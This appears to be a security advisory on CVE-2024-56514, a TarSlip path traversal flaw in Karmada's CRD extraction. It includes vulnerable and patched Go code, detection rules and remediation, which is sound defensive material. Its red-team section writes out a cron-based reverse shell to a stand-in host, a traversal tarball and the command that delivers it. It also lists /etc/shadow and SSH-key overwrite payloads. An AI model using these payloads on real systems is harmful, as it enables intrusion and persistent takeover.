CVE-2024-56514

Executive Summary

CVE-2024-56514 is a critical path traversal vulnerability (TarSlip) in Karmada, a Kubernetes management system for multi-cluster operations. The flaw exists in both karmadactl and karmada-operator components, where custom resource definitions (CRDs) can be supplied via a filesystem path or HTTP(S) URL. When these CRDs are downloaded as a gzipped tarfile, they are vulnerable to a TarSlip attack, allowing an attacker to write arbitrary files to arbitrary paths on the filesystem. This can lead to complete system compromise, including privilege escalation, data corruption, or denial of service. The vulnerability affects versions prior to 1.12.0. No public exploit code or PoC is currently available, but the attack vector is well-understood and can be weaponized by a malicious actor who can supply a crafted CRD file during Karmada initialization.

Supply Chain & Package Security

Karmada is a Go-based project. The vulnerability is introduced through the processing of external CRD files, which are often fetched from remote URLs or local paths during initialization. An attacker could compromise the supply chain by hosting a malicious CRD file on a public repository or by intercepting the download (e.g., via a man-in-the-middle attack). Since Karmada is used to manage Kubernetes clusters, a successful exploit could lead to widespread compromise across multiple clusters. Users should verify the integrity of CRD files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: None (C:N) – No direct data exposure.
• Integrity Impact: High (I:H) – Arbitrary file write can corrupt system files.
• Availability Impact: High (A:H) – System can be rendered inoperable.

Threat Level: Critical. The vulnerability allows arbitrary file write with no authentication, making it highly dangerous for production environments.

Deep Dive & Mechanics

The vulnerability is a classic TarSlip (CWE-22) issue. When Karmada initializes, it accepts a --crd flag (in karmadactl init) or a CRD configuration (in karmada-operator) to load custom resource definitions. These CRDs are expected to be a gzipped tar archive. The code extracts the tar archive without validating the file paths inside. An attacker can craft a tar archive containing entries with path traversal sequences (e.g., ../../etc/cron.d/malicious) to write files outside the intended extraction directory.

Attack Flow:

1. Attacker creates a malicious tar.gz file containing a file with a path like ../../etc/cron.d/evil.
2. Attacker hosts this file on a web server or provides a local path.
3. Victim runs karmadactl init --crd http://attacker.com/malicious.tar.gz or configures karmada-operator to use the malicious CRD.
4. Karmada extracts the tar archive, writing the file to /etc/cron.d/evil.
5. The cron job executes, giving the attacker a reverse shell or other persistence.

Root Cause: Lack of path sanitization in the tar extraction routine. The code does not check if the extracted file path is within the intended directory.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.12.0):

// Example of vulnerable tar extraction
func extractCRDs(archivePath string, destDir string) error {
    reader, _ := os.Open(archivePath)
    gzr, _ := gzip.NewReader(reader)
    tarReader := tar.NewReader(gzr)
    for {
        header, err := tarReader.Next()
        if err == io.EOF {
            break
        }
        // No path validation
        target := filepath.Join(destDir, header.Name)
        os.MkdirAll(filepath.Dir(target), 0755)
        f, _ := os.Create(target)
        io.Copy(f, tarReader)
        f.Close()
    }
    return nil
}

Patched Code (1.12.0+):

// Example of patched tar extraction with path validation
func extractCRDs(archivePath string, destDir string) error {
    reader, _ := os.Open(archivePath)
    gzr, _ := gzip.NewReader(reader)
    tarReader := tar.NewReader(gzr)
    for {
        header, err := tarReader.Next()
        if err == io.EOF {
            break
        }
        // Validate path to prevent traversal
        target := filepath.Join(destDir, header.Name)
        if !strings.HasPrefix(target, filepath.Clean(destDir)+string(os.PathSeparator)) {
            return fmt.Errorf("invalid tar entry: %s", header.Name)
        }
        os.MkdirAll(filepath.Dir(target), 0755)
        f, _ := os.Create(target)
        io.Copy(f, tarReader)
        f.Close()
    }
    return nil
}

The patched version uses filepath.Clean and strings.HasPrefix to ensure the resolved path stays within the destination directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Karmada initialization process (e.g., via karmadactl init or karmada-operator).
• Ability to host a malicious tar.gz file (e.g., on a public web server or local network).

Exploit Steps:

1. Create a malicious tar.gz file that writes a cron job or SSH key:

   # Create a malicious file
   echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" > evil_cron
   # Create tar with path traversal
   tar -czf malicious.tar.gz ../../etc/cron.d/evil_cron
   

2. Host the file:

   python3 -m http.server 8080
   

3. On the victim machine, run:

   karmadactl init --crd http://attacker.com:8080/malicious.tar.gz
   

4. The cron job is written to /etc/cron.d/evil_cron and executes after the next cron cycle.

Alternative Payloads:

• Overwrite /etc/shadow to reset root password.
• Write an SSH authorized_keys file.
• Modify Kubernetes manifests to deploy malicious pods.

Blue Team

Detection:

• Monitor for unexpected file writes in sensitive directories (e.g., /etc/cron.d, /root/.ssh).
• Alert on karmadactl init or karmada-operator operations that use external CRD URLs.
• Use file integrity monitoring (FIM) to detect changes to system binaries.

Prevention:

• Upgrade to Karmada 1.12.0 or later.
• If upgrade is not possible, manually inspect CRD files for path traversal sequences (../).
• Restrict network access to only trusted CRD sources.
• Use a web application firewall (WAF) to block malicious tar files.

Hunting:

• Search for files created by the karmadactl or karmada-operator process in unusual locations.
• Check for cron jobs or systemd services that were not manually configured.

Indicators of Compromise (IOCs)

• File Paths: /etc/cron.d/*, /root/.ssh/authorized_keys, /etc/shadow (modified unexpectedly)
• Network Connections: Outbound connections from the Karmada host to unknown IPs (e.g., for reverse shells)
• Processes: karmadactl or karmada-operator with --crd flag pointing to external URLs
• Logs: Karmada logs showing extraction of tar files with suspicious paths
• File Hashes: Malicious tar.gz files with path traversal entries (e.g., containing ../)

Detection Engineering

YARA Rule

rule CVE_2024_56514_TarSlip {
    meta:
        description = "Detects malicious tar.gz files with path traversal sequences targeting Karmada"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56514"
    strings:
        $traversal = /\.\.\/|\.\.\\/
        $tar_magic = { 1f 8b 08 } // gzip magic bytes
    condition:
        $tar_magic at 0 and #traversal > 0
}

Sigma Rule

title: Karmada TarSlip Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-56514 via malicious CRD files
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/karmadactl'
            - '/karmada-operator'
        CommandLine|contains: '--crd'
    condition: selection
falsepositives:
    - Legitimate use of custom CRDs from trusted sources
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56514 Karmada TarSlip - Malicious CRD Download"; flow:to_client; content:"|1f 8b 08|"; depth:3; content:"|2e 2e 2f|"; distance:0; within:1024; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Karmada version 1.12.0 or later.
2. If upgrade is not possible, manually inspect all CRD files for path traversal sequences (../).
3. Restrict the --crd flag usage to only trusted, local files.
4. Implement network segmentation to limit outbound connections from Karmada hosts.

Long-Term Measures:

• Adopt a secure software development lifecycle (SSDLC) with automated security testing.
• Use a web application firewall (WAF) to inspect HTTP(S) traffic for malicious tar files.
• Enable file integrity monitoring (FIM) on critical system directories.
• Conduct regular security audits of Kubernetes management tools.

Workaround:

• For karmadactl init, manually verify CRD files before use.
• For karmada-operator, upgrade to a fixed version.

Valters IT